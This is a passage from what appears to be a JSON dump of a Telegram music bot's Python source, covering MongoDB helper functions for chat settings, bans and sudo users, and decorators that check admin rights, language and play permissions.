set_playtype(chat_id: int, mode: str):\r\n    playtype[chat_id] = mode\r\n    await playtypedb.update_one(\r\n        {\"chat_id\": chat_id}, {\"$set\": {\"mode\": mode}}, upsert=True\r\n    )\r\n\r\n\r\nasync def get_playmode(chat_id: int) -> str:\r\n    mode = playmode.get(chat_id)\r\n    if not mode:\r\n        mode = await playmodedb.find_one({\"chat_id\": chat_id})\r\n        if not mode:\r\n            playmode[chat_id] = \"Direct\"\r\n            return \"Direct\"\r\n        playmode[chat_id] = mode[\"mode\"]\r\n        return mode[\"mode\"]\r\n    return mode\r\n\r\n\r\nasync def set_playmode(chat_id: int, mode: str):\r\n    playmode[chat_id] = mode\r\n    await playmodedb.update_one(\r\n        {\"chat_id\": chat_id}, {\"$set\": {\"mode\": mode}}, upsert=True\r\n    )\r\n\r\n\r\nasync def get_lang(chat_id: int) -> str:\r\n    mode = langm.get(chat_id)\r\n    if not mode:\r\n        lang = await langdb.find_one({\"chat_id\": chat_id})\r\n        if not lang:\r\n            langm[chat_id] = \"en\"\r\n            return \"en\"\r\n        langm[chat_id] = lang[\"lang\"]\r\n        return lang[\"lang\"]\r\n    return mode\r\n\r\n\r\nasync def set_lang(chat_id: int, lang: str):\r\n    langm[chat_id] = lang\r\n    await langdb.update_one({\"chat_id\": chat_id}, {\"$set\": {\"lang\": lang}}, upsert=True)\r\n\r\n\r\nasync def is_music_playing(chat_id: int) -> bool:\r\n    mode = pause.get(chat_id)\r\n    if not mode:\r\n        return False\r\n    return mode\r\n\r\n\r\nasync def music_on(chat_id: int):\r\n    pause[chat_id] = True\r\n\r\n\r\nasync def music_off(chat_id: int):\r\n    pause[chat_id] = False\r\n\r\n\r\n# Muted\r\nasync def is_muted(chat_id: int) -> bool:\r\n    mode = mute.get(chat_id)\r\n    if not mode:\r\n        return False\r\n    return mode\r\n\r\n\r\nasync def mute_on(chat_id: int):\r\n    mute[chat_id] = True\r\n\r\n\r\nasync def mute_off(chat_id: int):\r\n    mute[chat_id] = False\r\n\r\n\r\nasync def get_active_chats() -> list:\r\n    return active\r\n\r\n\r\nasync def is_active_chat(chat_id: int) -> bool:\r\n    if chat_id not in active:\r\n        return False\r\n    else:\r\n        return True\r\n\r\n\r\nasync def add_active_chat(chat_id: int):\r\n    if chat_id not in active:\r\n        active.append(chat_id)\r\n\r\n\r\nasync def remove_active_chat(chat_id: int):\r\n    if chat_id in active:\r\n        active.remove(chat_id)\r\n\r\n\r\nasync def get_active_video_chats() -> list:\r\n    return activevideo\r\n\r\n\r\nasync def is_active_video_chat(chat_id: int) -> bool:\r\n    if chat_id not in activevideo:\r\n        return False\r\n    else:\r\n        return True\r\n\r\n\r\nasync def add_active_video_chat(chat_id: int):\r\n    if chat_id not in activevideo:\r\n        activevideo.append(chat_id)\r\n\r\n\r\nasync def remove_active_video_chat(chat_id: int):\r\n    if chat_id in activevideo:\r\n        activevideo.remove(chat_id)\r\n\r\n\r\nasync def check_nonadmin_chat(chat_id: int) -> bool:\r\n    user = await authdb.find_one({\"chat_id\": chat_id})\r\n    if not user:\r\n        return False\r\n    return True\r\n\r\n\r\nasync def is_nonadmin_chat(chat_id: int) -> bool:\r\n    mode = nonadmin.get(chat_id)\r\n    if not mode:\r\n        user = await authdb.find_one({\"chat_id\": chat_id})\r\n        if not user:\r\n            nonadmin[chat_id] = False\r\n            return False\r\n        nonadmin[chat_id] = True\r\n        return True\r\n    return mode\r\n\r\n\r\nasync def add_nonadmin_chat(chat_id: int):\r\n    nonadmin[chat_id] = True\r\n    is_admin = await check_nonadmin_chat(chat_id)\r\n    if is_admin:\r\n        return\r\n    return await authdb.insert_one({\"chat_id\": chat_id})\r\n\r\n\r\nasync def remove_nonadmin_chat(chat_id: int):\r\n    nonadmin[chat_id] = False\r\n    is_admin = await check_nonadmin_chat(chat_id)\r\n    if not is_admin:\r\n        return\r\n    return await authdb.delete_one({\"chat_id\": chat_id})\r\n\r\n\r\nasync def is_on_off(on_off: int) -> bool:\r\n    onoff = await onoffdb.find_one({\"on_off\": on_off})\r\n    if not onoff:\r\n        return False\r\n    return True\r\n\r\n\r\nasync def add_on(on_off: int):\r\n    is_on = await is_on_off(on_off)\r\n    if is_on:\r\n        return\r\n    return await onoffdb.insert_one({\"on_off\": on_off})\r\n\r\n\r\nasync def add_off(on_off: int):\r\n    is_off = await is_on_off(on_off)\r\n    if not is_off:\r\n        return\r\n    return await onoffdb.delete_one({\"on_off\": on_off})\r\n\r\n\r\nasync def is_maintenance():\r\n    if not maintenance:\r\n        get = await onoffdb.find_one({\"on_off\": 1})\r\n        if not get:\r\n            maintenance.clear()\r\n            maintenance.append(2)\r\n            return True\r\n        else:\r\n            maintenance.clear()\r\n            maintenance.append(1)\r\n            return False\r\n    else:\r\n        if 1 in maintenance:\r\n            return False\r\n        else:\r\n            return True\r\n\r\n\r\nasync def maintenance_off():\r\n    maintenance.clear()\r\n    maintenance.append(2)\r\n    is_off = await is_on_off(1)\r\n    if not is_off:\r\n        return\r\n    return await onoffdb.delete_one({\"on_off\": 1})\r\n\r\n\r\nasync def maintenance_on():\r\n    maintenance.clear()\r\n    maintenance.append(1)\r\n    is_on = await is_on_off(1)\r\n    if is_on:\r\n        return\r\n    return await onoffdb.insert_one({\"on_off\": 1})\r\n\r\n\r\nasync def is_served_user(user_id: int) -> bool:\r\n    user = await usersdb.find_one({\"user_id\": user_id})\r\n    if not user:\r\n        return False\r\n    return True\r\n\r\n\r\nasync def get_served_users() -> list:\r\n    users_list = []\r\n    async for user in usersdb.find({\"user_id\": {\"$gt\": 0}}):\r\n        users_list.append(user)\r\n    return users_list\r\n\r\n\r\nasync def add_served_user(user_id: int):\r\n    is_served = await is_served_user(user_id)\r\n    if is_served:\r\n        return\r\n    return await usersdb.insert_one({\"user_id\": user_id})\r\n\r\n\r\nasync def get_served_chats() -> list:\r\n    chats_list = []\r\n    async for chat in chatsdb.find({\"chat_id\": {\"$lt\": 0}}):\r\n        chats_list.append(chat)\r\n    return chats_list\r\n\r\n\r\nasync def is_served_chat(chat_id: int) -> bool:\r\n    chat = await chatsdb.find_one({\"chat_id\": chat_id})\r\n    if not chat:\r\n        return False\r\n    return True\r\n\r\n\r\nasync def add_served_chat(chat_id: int):\r\n    is_served = await is_served_chat(chat_id)\r\n    if is_served:\r\n        return\r\n    return await chatsdb.insert_one({\"chat_id\": chat_id})\r\n\r\n\r\nasync def delete_served_chat(chat_id: int):\r\n    await chatsdb.delete_one({\"chat_id\": chat_id})\r\n\r\n\r\nasync def blacklisted_chats() -> list:\r\n    chats_list = []\r\n    async for chat in blacklist_chatdb.find({\"chat_id\": {\"$lt\": 0}}):\r\n        chats_list.append(chat[\"chat_id\"])\r\n    return chats_list\r\n\r\n\r\nasync def blacklist_chat(chat_id: int) -> bool:\r\n    if not await blacklist_chatdb.find_one({\"chat_id\": chat_id}):\r\n        await blacklist_chatdb.insert_one({\"chat_id\": chat_id})\r\n        return True\r\n    return False\r\n\r\n\r\nasync def whitelist_chat(chat_id: int) -> bool:\r\n    if await blacklist_chatdb.find_one({\"chat_id\": chat_id}):\r\n        await blacklist_chatdb.delete_one({\"chat_id\": chat_id})\r\n        return True\r\n    return False\r\n\r\n\r\nasync def _get_authusers(chat_id: int) -> Dict[str, int]:\r\n    _notes = await authuserdb.find_one({\"chat_id\": chat_id})\r\n    if not _notes:\r\n        return {}\r\n    return _notes[\"notes\"]\r\n\r\n\r\nasync def get_authuser_names(chat_id: int) -> List[str]:\r\n    _notes = []\r\n    for note in await _get_authusers(chat_id):\r\n        _notes.append(note)\r\n    return _notes\r\n\r\n\r\nasync def get_authuser(chat_id: int, name: str) -> Union[bool, dict]:\r\n    name = name\r\n    _notes = await _get_authusers(chat_id)\r\n    if name in _notes:\r\n        return _notes[name]\r\n    else:\r\n        return False\r\n\r\n\r\nasync def save_authuser(chat_id: int, name: str, note: dict):\r\n    name = name\r\n    _notes = await _get_authusers(chat_id)\r\n    _notes[name] = note\r\n\r\n    await authuserdb.update_one(\r\n        {\"chat_id\": chat_id}, {\"$set\": {\"notes\": _notes}}, upsert=True\r\n    )\r\n\r\n\r\nasync def delete_authuser(chat_id: int, name: str) -> bool:\r\n    notesd = await _get_authusers(chat_id)\r\n    name = name\r\n    if name in notesd:\r\n        del notesd[name]\r\n        await authuserdb.update_one(\r\n            {\"chat_id\": chat_id},\r\n            {\"$set\": {\"notes\": notesd}},\r\n            upsert=True,\r\n        )\r\n        return True\r\n    return False\r\n\r\n\r\nasync def get_gbanned() -> list:\r\n    results = []\r\n    async for user in gbansdb.find({\"user_id\": {\"$gt\": 0}}):\r\n        user_id = user[\"user_id\"]\r\n        results.append(user_id)\r\n    return results\r\n\r\n\r\nasync def is_gbanned_user(user_id: int) -> bool:\r\n    user = await gbansdb.find_one({\"user_id\": user_id})\r\n    if not user:\r\n        return False\r\n    return True\r\n\r\n\r\nasync def add_gban_user(user_id: int):\r\n    is_gbanned = await is_gbanned_user(user_id)\r\n    if is_gbanned:\r\n        return\r\n    return await gbansdb.insert_one({\"user_id\": user_id})\r\n\r\n\r\nasync def remove_gban_user(user_id: int):\r\n    is_gbanned = await is_gbanned_user(user_id)\r\n    if not is_gbanned:\r\n        return\r\n    return await gbansdb.delete_one({\"user_id\": user_id})\r\n\r\n\r\nasync def get_sudoers() -> list:\r\n    sudoers = await sudoersdb.find_one({\"sudo\": \"sudo\"})\r\n    if not sudoers:\r\n        return []\r\n    return sudoers[\"sudoers\"]\r\n\r\n\r\nasync def add_sudo(user_id: int) -> bool:\r\n    sudoers = await get_sudoers()\r\n    sudoers.append(user_id)\r\n    await sudoersdb.update_one(\r\n        {\"sudo\": \"sudo\"}, {\"$set\": {\"sudoers\": sudoers}}, upsert=True\r\n    )\r\n    return True\r\n\r\n\r\nasync def remove_sudo(user_id: int) -> bool:\r\n    sudoers = await get_sudoers()\r\n    sudoers.remove(user_id)\r\n    await sudoersdb.update_one(\r\n        {\"sudo\": \"sudo\"}, {\"$set\": {\"sudoers\": sudoers}}, upsert=True\r\n    )\r\n    return True\r\n\r\n\r\nasync def get_banned_users() -> list:\r\n    results = []\r\n    async for user in blockeddb.find({\"user_id\": {\"$gt\": 0}}):\r\n        user_id = user[\"user_id\"]\r\n        results.append(user_id)\r\n    return results\r\n\r\n\r\nasync def get_banned_count() -> int:\r\n    users = blockeddb.find({\"user_id\": {\"$gt\": 0}})\r\n    users = await users.to_list(length=100000)\r\n    return len(users)\r\n\r\n\r\nasync def is_banned_user(user_id: int) -> bool:\r\n    user = await blockeddb.find_one({\"user_id\": user_id})\r\n    if not user:\r\n        return False\r\n    return True\r\n\r\n\r\nasync def add_banned_user(user_id: int):\r\n    is_gbanned = await is_banned_user(user_id)\r\n    if is_gbanned:\r\n        return\r\n    return await blockeddb.insert_one({\"user_id\": user_id})\r\n\r\n\r\nasync def remove_banned_user(user_id: int):\r\n    is_gbanned = await is_banned_user(user_id)\r\n    if not is_gbanned:\r\n        return\r\n    return await blockeddb.delete_one({\"user_id\": user_id})\r\n\r\n\r\n# Private Served Chats\r\n\r\n\r\nasync def get_private_served_chats() -> list:\r\n    chats_list = []\r\n    async for chat in privatedb.find({\"chat_id\": {\"$lt\": 0}}):\r\n        chats_list.append(chat)\r\n    return chats_list\r\n\r\n\r\nasync def is_served_private_chat(chat_id: int) -> bool:\r\n    chat = await privatedb.find_one({\"chat_id\": chat_id})\r\n    if not chat:\r\n        return False\r\n    return True\r\n\r\n\r\nasync def add_private_chat(chat_id: int):\r\n    is_served = await is_served_private_chat(chat_id)\r\n    if is_served:\r\n        return\r\n    return await privatedb.insert_one({\"chat_id\": chat_id})\r\n\r\n\r\nasync def remove_private_chat(chat_id: int):\r\n    is_served = await is_served_private_chat(chat_id)\r\n    if not is_served:\r\n        return\r\n    return await privatedb.delete_one({\"chat_id\": chat_id})\r\n\r\n\r\n# SUGGESTION\r\n\r\n\r\nasync def is_suggestion(chat_id: int) -> bool:\r\n    mode = suggestion.get(chat_id)\r\n    if not mode:\r\n        user = await suggdb.find_one({\"chat_id\": chat_id})\r\n        if not user:\r\n            suggestion[chat_id] = True\r\n            return True\r\n        suggestion[chat_id] = False\r\n        return False\r\n    return mode\r\n\r\n\r\nasync def suggestion_on(chat_id: int):\r\n    suggestion[chat_id] = True\r\n    user = await suggdb.find_one({\"chat_id\": chat_id})\r\n    if user:\r\n        return await suggdb.delete_one({\"chat_id\": chat_id})\r\n\r\n\r\nasync def suggestion_off(chat_id: int):\r\n    suggestion[chat_id] = False\r\n    user = await suggdb.find_one({\"chat_id\": chat_id})\r\n    if not user:\r\n        return await suggdb.insert_one({\"chat_id\": chat_id})\r\n\r\n\r\n# Clean Mode\r\nasync def is_cleanmode_on(chat_id: int) -> bool:\r\n    if chat_id not in cleanmode:\r\n        return True\r\n    else:\r\n        return False\r\n\r\n\r\nasync def cleanmode_off(chat_id: int):\r\n    if chat_id not in cleanmode:\r\n        cleanmode.append(chat_id)\r\n\r\n\r\nasync def cleanmode_on(chat_id: int):\r\n    try:\r\n        cleanmode.remove(chat_id)\r\n    except:\r\n        pass\r\n\r\n\r\n# Audio Video Limit\r\n\r\n\"\"\"\r\nfrom pytgcalls.types import AudioQuality, VideoQuality\r\n\r\n\r\nasync def save_audio_bitrate(chat_id: int, bitrate: str):\r\n    audio[chat_id] = bitrate\r\n\r\n\r\nasync def save_video_bitrate(chat_id: int, bitrate: str):\r\n    video[chat_id] = bitrate\r\n\r\n\r\nasync def get_aud_bit_name(chat_id: int) -> str:\r\n    mode = audio.get(chat_id)\r\n    if not mode:\r\n        return \"HIGH\"\r\n    return mode\r\n\r\n\r\nasync def get_vid_bit_name(chat_id: int) -> str:\r\n    mode = video.get(chat_id)\r\n    if not mode:\r\n        if PRIVATE_BOT_MODE == str(True):\r\n            return \"HD_720p\"\r\n        else:\r\n            return \"HD_720p\"\r\n    return mode\r\n\r\n\r\nasync def get_audio_bitrate(chat_id: int) -> str:\r\n    mode = audio.get(chat_id)\r\n    if not mode:\r\n        return AudioQuality.STUDIO\r\n    if str(mode) == \"STUDIO\":\r\n        return AudioQuality.STUDIO\r\n    elif str(mode) == \"HIGH\":\r\n        return AudioQuality.HIGH\r\n    elif str(mode) == \"MEDIUM\":\r\n        return AudioQuality.MEDIUM\r\n    elif str(mode) == \"LOW\":\r\n        return AudioQuality.LOW\r\n\r\n\r\nasync def get_video_bitrate(chat_id: int) -> str:\r\n    mode = video.get(chat_id)\r\n    if not mode:\r\n        if PRIVATE_BOT_MODE == str(True):\r\n            return VideoQuality.FHD_1080p\r\n        else:\r\n            return VideoQuality.HD_720p\r\n    if str(mode) == \"UHD_4K\":\r\n        return VideoQuality.UHD_4K\r\n    elif str(mode) == \"QHD_2K\":\r\n        return VideoQuality.QHD_2K\r\n    elif str(mode) == \"FHD_1080p\":\r\n        return VideoQuality.FHD_1080p\r\n    elif str(mode) == \"HD_720p\":\r\n        return VideoQuality.HD_720p\r\n    elif str(mode) == \"SD_480p\":\r\n        return VideoQuality.SD_480p\r\n    elif str(mode) == \"SD_360p\":\r\n        return VideoQuality.SD_360p\"\"\"\r\n\r\n\r\nasync def is_served_user_clone(user_id: int) -> bool:\r\n    user = await usersdbc.find_one({\"user_id\": user_id})\r\n    if not user:\r\n        return False\r\n    return True\r\n\r\n\r\nasync def get_served_users_clone() -> list:\r\n    users_list = []\r\n    async for user in usersdbc.find({\"user_id\": {\"$gt\": 0}}):\r\n        users_list.append(user)\r\n    return users_list\r\n\r\n\r\nasync def add_served_user_clone(user_id: int):\r\n    is_served = await is_served_user(user_id)\r\n    if is_served:\r\n        return\r\n    return await usersdbc.insert_one({\"user_id\": user_id})\r\n\r\n\r\nasync def get_served_chats_clone() -> list:\r\n    chats_list = []\r\n    async for chat in chatsdbc.find({\"chat_id\": {\"$lt\": 0}}):\r\n        chats_list.append(chat)\r\n    return chats_list\r\n\r\n\r\nasync def is_served_chat_clone(chat_id: int) -> bool:\r\n    chat = await chatsdbc.find_one({\"chat_id\": chat_id})\r\n    if not chat:\r\n        return False\r\n    return True\r\n\r\n\r\nasync def add_served_chat_clone(chat_id: int):\r\n    is_served = await is_served_chat(chat_id)\r\n    if is_served:\r\n        return\r\n    return await chatsdbc.insert_one({\"chat_id\": chat_id})\r\n\r\n\r\nasync def delete_served_chat_clone(chat_id: int):\r\n    await chatsdbc.delete_one({\"chat_id\": chat_id})\r\n"
  },
  {
    "path": "BrandrdXMusic/utils/decorators/__init__.py",
    "content": "from .admins import *\nfrom .language import *\n"
  },
  {
    "path": "BrandrdXMusic/utils/decorators/admins.py",
    "content": "from pyrogram.enums import ChatType\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc import SUDOERS, db\nfrom BrandrdXMusic.utils.database import (\n    get_authuser_names,\n    get_cmode,\n    get_lang,\n    get_upvote_count,\n    is_active_chat,\n    is_maintenance,\n    is_nonadmin_chat,\n    is_skipmode,\n)\nfrom config import SUPPORT_CHAT, adminlist, confirmer\nfrom strings import get_string\n\nfrom ..formatters import int_to_alpha\n\n\ndef AdminRightsCheck(mystic):\n    async def wrapper(client, message):\n        if await is_maintenance() is False:\n            if message.from_user.id not in SUDOERS:\n                return await message.reply_text(\n                    text=f\"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ <a href={SUPPORT_CHAT}>sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ</a> ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.\",\n                    disable_web_page_preview=True,\n                )\n\n        try:\n            await message.delete()\n        except:\n            pass\n\n        try:\n            language = await get_lang(message.chat.id)\n            _ = get_string(language)\n        except:\n            _ = get_string(\"en\")\n        if message.sender_chat:\n            upl = InlineKeyboardMarkup(\n                [\n                    [\n                        InlineKeyboardButton(\n                            text=\"ʜᴏᴡ ᴛᴏ ғɪx ?\",\n                            callback_data=\"AnonymousAdmin\",\n                        ),\n                    ]\n                ]\n            )\n            return await message.reply_text(_[\"general_3\"], reply_markup=upl)\n        if message.command[0][0] == \"c\":\n            chat_id = await get_cmode(message.chat.id)\n            if chat_id is None:\n                return await message.reply_text(_[\"setting_7\"])\n            try:\n                await app.get_chat(chat_id)\n            except:\n                return await message.reply_text(_[\"cplay_4\"])\n        else:\n            chat_id = message.chat.id\n        if not await is_active_chat(chat_id):\n            return await message.reply_text(_[\"general_5\"])\n        is_non_admin = await is_nonadmin_chat(message.chat.id)\n        if not is_non_admin:\n            if message.from_user.id not in SUDOERS:\n                admins = adminlist.get(message.chat.id)\n                if not admins:\n                    return await message.reply_text(_[\"admin_13\"])\n                else:\n                    if message.from_user.id not in admins:\n                        if await is_skipmode(message.chat.id):\n                            upvote = await get_upvote_count(chat_id)\n                            text = f\"\"\"<b>ᴀᴅᴍɪɴ ʀɪɢʜᴛs ɴᴇᴇᴅᴇᴅ</b>\n\nʀᴇғʀᴇsʜ ᴀᴅᴍɪɴ ᴄᴀᴄʜᴇ ᴠɪᴀ : /reload\n\n» {upvote} ᴠᴏᴛᴇs ɴᴇᴇᴅᴇᴅ ғᴏʀ ᴘᴇʀғᴏʀᴍɪɴɢ ᴛʜɪs ᴀᴄᴛɪᴏɴ.\"\"\"\n\n                            command = message.command[0]\n                            if command[0] == \"c\":\n                                command = command[1:]\n                            if command == \"speed\":\n                                return await message.reply_text(_[\"admin_14\"])\n                            MODE = command.title()\n                            upl = InlineKeyboardMarkup(\n                                [\n                                    [\n                                        InlineKeyboardButton(\n                                            text=\"ᴠᴏᴛᴇ\",\n                                            callback_data=f\"ADMIN  UpVote|{chat_id}_{MODE}\",\n                                        ),\n                                    ]\n                                ]\n                            )\n                            if chat_id not in confirmer:\n                                confirmer[chat_id] = {}\n                            try:\n                                vidid = db[chat_id][0][\"vidid\"]\n                                file = db[chat_id][0][\"file\"]\n                            except:\n                                return await message.reply_text(_[\"admin_14\"])\n                            senn = await message.reply_text(text, reply_markup=upl)\n                            confirmer[chat_id][senn.id] = {\n                                \"vidid\": vidid,\n                                \"file\": file,\n                            }\n                            return\n                        else:\n                            return await message.reply_text(_[\"admin_14\"])\n\n        return await mystic(client, message, _, chat_id)\n\n    return wrapper\n\n\ndef AdminActual(mystic):\n    async def wrapper(client, message):\n        if await is_maintenance() is False:\n            if message.from_user.id not in SUDOERS:\n                return await message.reply_text(\n                    text=f\"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ <a href={SUPPORT_CHAT}>sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ</a> ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.\",\n                    disable_web_page_preview=True,\n                )\n\n        try:\n            await message.delete()\n        except:\n            pass\n\n        try:\n            language = await get_lang(message.chat.id)\n            _ = get_string(language)\n        except:\n            _ = get_string(\"en\")\n        if message.sender_chat:\n            upl = InlineKeyboardMarkup(\n                [\n                    [\n                        InlineKeyboardButton(\n                            text=\"ʜᴏᴡ ᴛᴏ ғɪx ?\",\n                            callback_data=\"AnonymousAdmin\",\n                        ),\n                    ]\n                ]\n            )\n            return await message.reply_text(_[\"general_3\"], reply_markup=upl)\n        if message.from_user.id not in SUDOERS:\n            try:\n                member = (\n                    await app.get_chat_member(message.chat.id, message.from_user.id)\n                ).privileges\n            except:\n                return\n            if not member.can_manage_video_chats:\n                return await message.reply(_[\"general_4\"])\n        return await mystic(client, message, _)\n\n    return wrapper\n\n\ndef ActualAdminCB(mystic):\n    async def wrapper(client, CallbackQuery):\n        if await is_maintenance() is False:\n            if CallbackQuery.from_user.id not in SUDOERS:\n                return await CallbackQuery.answer(\n                    f\"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.\",\n                    show_alert=True,\n                )\n        try:\n            language = await get_lang(CallbackQuery.message.chat.id)\n            _ = get_string(language)\n        except:\n            _ = get_string(\"en\")\n        if CallbackQuery.message.chat.type == ChatType.PRIVATE:\n            return await mystic(client, CallbackQuery, _)\n        is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)\n        if not is_non_admin:\n            try:\n                a = (\n                    await app.get_chat_member(\n                        CallbackQuery.message.chat.id,\n                        CallbackQuery.from_user.id,\n                    )\n                ).privileges\n            except:\n                return await CallbackQuery.answer(_[\"general_4\"], show_alert=True)\n            if not a.can_manage_video_chats:\n                if CallbackQuery.from_user.id not in SUDOERS:\n                    token = await int_to_alpha(CallbackQuery.from_user.id)\n                    _check = await get_authuser_names(CallbackQuery.from_user.id)\n                    if token not in _check:\n                        try:\n                            return await CallbackQuery.answer(\n                                _[\"general_4\"],\n                                show_alert=True,\n                            )\n                        except:\n                            return\n        return await mystic(client, CallbackQuery, _)\n\n    return wrapper\n"
  },
  {
    "path": "BrandrdXMusic/utils/decorators/language.py",
    "content": "from strings import get_string\nfrom BrandrdXMusic.misc import SUDOERS\nfrom BrandrdXMusic.utils.database import (get_lang, is_maintenance)\n\n\ndef language(mystic):\n    async def wrapper(_, message, **kwargs):\n        if await is_maintenance() is False:\n            if message.from_user.id not in SUDOERS:\n                return await message.reply_text(\n                    text=f\"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ <a href={SUPPORT_CHAT}>sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ</a> ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.\",\n                    disable_web_page_preview=True,\n                )\n        try:\n            await message.delete()\n        except:\n            pass\n\n        try:\n            language = await get_lang(message.chat.id)\n            language = get_string(language)\n        except:\n            language = get_string(\"en\")\n        return await mystic(_, message, language)\n\n    return wrapper\n\n\ndef languageCB(mystic):\n    async def wrapper(_, CallbackQuery, **kwargs):\n        if await is_maintenance() is False:\n            if CallbackQuery.from_user.id not in SUDOERS:\n                return await CallbackQuery.answer(\n                    f\"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.\",\n                    show_alert=True,\n                )\n        try:\n            language = await get_lang(CallbackQuery.message.chat.id)\n            language = get_string(language)\n        except:\n            language = get_string(\"en\")\n        return await mystic(_, CallbackQuery, language)\n\n    return wrapper\n\n\ndef LanguageStart(mystic):\n    async def wrapper(_, message, **kwargs):\n        try:\n            language = await get_lang(message.chat.id)\n            language = get_string(language)\n        except:\n            language = get_string(\"en\")\n        return await mystic(_, message, language)\n\n    return wrapper\n"
  },
  {
    "path": "BrandrdXMusic/utils/decorators/play.py",
    "content": "import asyncio\n\nfrom pyrogram.enums import ChatMemberStatus\nfrom pyrogram.errors import (\n    ChatAdminRequired,\n    InviteRequestSent,\n    UserAlreadyParticipant,\n    UserNotParticipant,\n)\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\n\nfrom BrandrdXMusic import YouTube, app\nfrom BrandrdXMusic.misc import SUDOERS\nfrom BrandrdXMusic.utils.database import (\n    get_assistant,\n    get_cmode,\n    get_lang,\n    get_playmode,\n    get_playtype,\n    is_active_chat,\n    is_maintenance,\n)\nfrom BrandrdXMusic.utils.inline import botplaylist_markup\nfrom config import PLAYLIST_IMG_URL, SUPPORT_CHAT, adminlist\nfrom strings import get_string\n\nlinks = {}\nclinks = {}\n\n\ndef PlayWrapper(command):\n    async def wrapper(client, message):\n        language = await get_lang(message.chat.id)\n        _ = get_string(language)\n        if message.sender_chat:\n            upl = InlineKeyboardMarkup(\n                [\n                    [\n                        InlineKeyboardButton(\n                            text=\"ʜᴏᴡ ᴛᴏ ғɪx ?\",\n                            callback_data=\"AnonymousAdmin\",\n                        ),\n                    ]\n                ]\n            )\n            return await message.reply_text(_[\"general_3\"], reply_markup=upl)\n\n        if await is_maintenance() is False:\n            if message.from_user.id not in SUDOERS:\n                return await message.reply_text(\n                    text=f\"{app.mention} ɪs ᴜɴᴅᴇʀ ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ, ᴠɪsɪᴛ <a href={SUPPORT_CHAT}>sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ</a> ғᴏʀ ᴋɴᴏᴡɪɴɢ ᴛʜᴇ ʀᴇᴀsᴏɴ.\",\n                    disable_web_page_preview=True,\n                )\n\n        try:\n            await message.delete()\n        except:\n            pass\n\n        audio_telegram = (\n            (message.reply_to_message.audio or message.reply_to_message.voice)\n            if message.reply_to_message\n            else None\n        )\n        video_telegram = (\n            (message.reply_to_message.video or message.reply_to_message.document)\n            if message.reply_to_message\n            else None\n        )\n        url = await YouTube.url(message)\n        if audio_telegram is None and video_telegram is None and url is None:\n            if len(message.command) < 2:\n                if \"stream\" in message.command:\n                    return await message.reply_text(_[\"str_1\"])\n                buttons = botplaylist_markup(_)\n                return await message.reply_photo(\n                    photo=PLAYLIST_IMG_URL,\n                    caption=_[\"playlist_1\"],\n                    reply_markup=InlineKeyboardMarkup(buttons),\n                )\n        if message.command[0][0] == \"c\":\n            chat_id = await get_cmode(message.chat.id)\n            if chat_id is None:\n                return await message.reply_text(_[\"setting_12\"])\n            try:\n                chat = await app.get_chat(chat_id)\n            except:\n                return await message.reply_text(_[\"cplay_4\"])\n            channel = chat.title\n        else:\n            chat_id = message.chat.id\n            channel = None\n        playmode = await get_playmode(message.chat.id)\n        playty = await get_playtype(message.chat.id)\n        if playty != \"Everyone\":\n            if message.from_user.id not in SUDOERS:\n                admins = adminlist.get(message.chat.id)\n                if not admins:\n                    return await message.reply_text(_[\"admin_18\"])\n                else:\n                    if message.from_user.id not in admins:\n                        return await message.reply_text(_[\"play_4\"])\n        if message.command[0][0] == \"v\":\n            video = True\n        else:\n            if \"-v\" in message.text:\n                video = True\n            else:\n                video = True if message.command[0][1] == \"v\" else None\n        if message.command[0][-1] == \"e\":\n            if not await is_active_chat(chat_id):\n                return await message.reply_text(_[\"play_18\"])\n            fplay = True\n        else:\n            fplay = None\n\n        if not await is_active_chat(chat_id):\n            userbot = await get_assistant(chat_id)\n            try:\n                try:\n                    get = await app.get_chat_member(chat_id, userbot.id)\n                except ChatAdminRequired:\n                    return await message.reply_text(_[\"call_1\"])\n                if (\n                    get.status == ChatMemberStatus.BANNED\n                    or get.status == ChatMemberStatus.RESTRICTED\n                ):\n                    return await message.reply_text(\n                        _[\"call_2\"].format(\n                            app.mention, userbot.id, userbot.name, userbot.username\n                        )\n                    )\n            except UserNotParticipant:\n                if chat_id in links:\n                    invitelink = links[chat_id]\n                else:\n                    if message.chat.username:\n                        invitelink = message.chat.username\n                        try:\n                            await userbot.resolve_peer(invitelink)\n                        except:\n                            pass\n                    else:\n                        try:\n                            invitelink = await app.export_chat_invite_link(chat_id)\n                        except ChatAdminRequired:\n                            return await message.reply_text(_[\"call_1\"])\n                        except Exception as e:\n                            return await message.reply_text(\n                                _[\"call_3\"].format(app.mention, type(e).__name__)\n                            )\n\n                if invitelink.startswith(\"https://t.me/+\"):\n                    invitelink = invitelink.replace(\n                        \"https://t.me/+\", \"https://t.me/joinchat/\"\n                    )\n                myu = await message.reply_text(_[\"call_4\"].format(app.mention))\n                try:\n                    await 